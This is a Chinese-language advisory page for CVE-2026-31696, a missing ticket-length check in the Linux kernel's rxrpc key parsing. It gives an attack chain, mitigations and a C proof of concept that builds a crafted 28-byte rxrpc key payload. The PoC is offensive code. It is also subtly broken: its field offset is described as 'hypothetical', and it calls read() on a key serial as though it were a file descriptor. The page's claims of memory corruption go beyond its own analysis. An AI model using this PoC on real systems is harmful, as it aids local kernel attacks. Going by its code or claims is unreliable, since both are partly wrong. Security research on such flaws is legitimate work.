IPBUF安全漏洞报告
English
CVE-2026-31696 CVSS 7.8 高危

CVE-2026-31696 Linux内核rxrpc票据长度校验缺失漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31696
漏洞类型
输入验证错误
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelrxrpcInput ValidationDoSLocal Vulnerability

漏洞概述

该漏洞存在于Linux内核的rxrpc模块中。在`rxrpc_preparse()`函数处理密钥载荷时,非XDR路径(针对小于等于28字节的载荷)未对票据长度进行校验。低权限用户可利用此漏洞提供超长票据长度,导致后续`rxrpc_read()`操作计算出的token大小超过最大限制,触发内核警告,可能引发系统拒绝服务或信息泄露。

技术细节

漏洞源于Linux内核`net/rxrpc/key.c`文件中的逻辑缺陷。`rxrpc_preparse()`函数根据载荷大小选择解析路径:XDR路径正确检查票据长度,但非XDR路径缺少校验。攻击者可构造特定的key数据,利用非XDR路径传入非法的超长ticket长度值。当该密钥被读取时,`rxrpc_read()`函数计算总token大小(toksize),由于未限制的长度值,计算结果超过`AFSTOKEN_LENGTH_MAX`,触发`WARN_ON()`警告。结合CVSS评分,该漏洞可能导致内核内存破坏或拒绝服务。

攻击链分析

STEP 1
1
攻击者获取本地低权限用户访问权限。
STEP 2
2
攻击者构造特殊的密钥载荷数据,利用非XDR路径(载荷<=28字节)但包含超大的票据长度字段。
STEP 3
3
攻击者调用add_key系统调用,将恶意数据添加到内核密钥环,绕过长度校验。
STEP 4
4
触发读取密钥操作(如keyctl read或read()),调用rxrpc_read()函数。
STEP 5
5
内核使用未验证的票据长度计算token大小,导致数值超过最大限制,触发WARN_ON警告及潜在内核崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <keyutils.h> #include <unistd.h> // PoC for CVE-2026-31696 // Trigger missing validation in rxrpc non-XDR parsing path int main() { // Non-XDR path handles payloads <= 28 bytes. // We craft a small payload but with a huge internal ticket length. unsigned char payload[28]; memset(payload, 0, sizeof(payload)); // Set a large ticket length (e.g., 0xFFFF) at the expected offset. // This bypasses the payload size check but fails later validation. // Offset 2 is hypothetical for ticket length in this simplified PoC. payload[2] = 0xFF; payload[3] = 0xFF; // Add the key to the kernel keyring key_serial_t key = add_key("rxrpc", "poc_vuln", payload, sizeof(payload), KEY_SPEC_SESSION_KEYRING); if (key == -1) { perror("add_key"); return 1; } printf("Key added. Attempting to read to trigger WARN_ON...\n"); // Trigger rxrpc_read() which calculates toksize based on the malformed length char buf[256]; read(key, buf, sizeof(buf)); return 0; }

影响范围

Linux Kernel (版本小于 CVE-2026-31696 修复提交的版本)

防御指南

临时缓解措施
建议及时更新Linux内核至修复版本。若无法立即更新,可限制本地用户对keyctl系统调用的使用权限,或通过SELinux/AppArmor等安全模块加强对内核密钥子系统的访问控制,以降低被利用的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表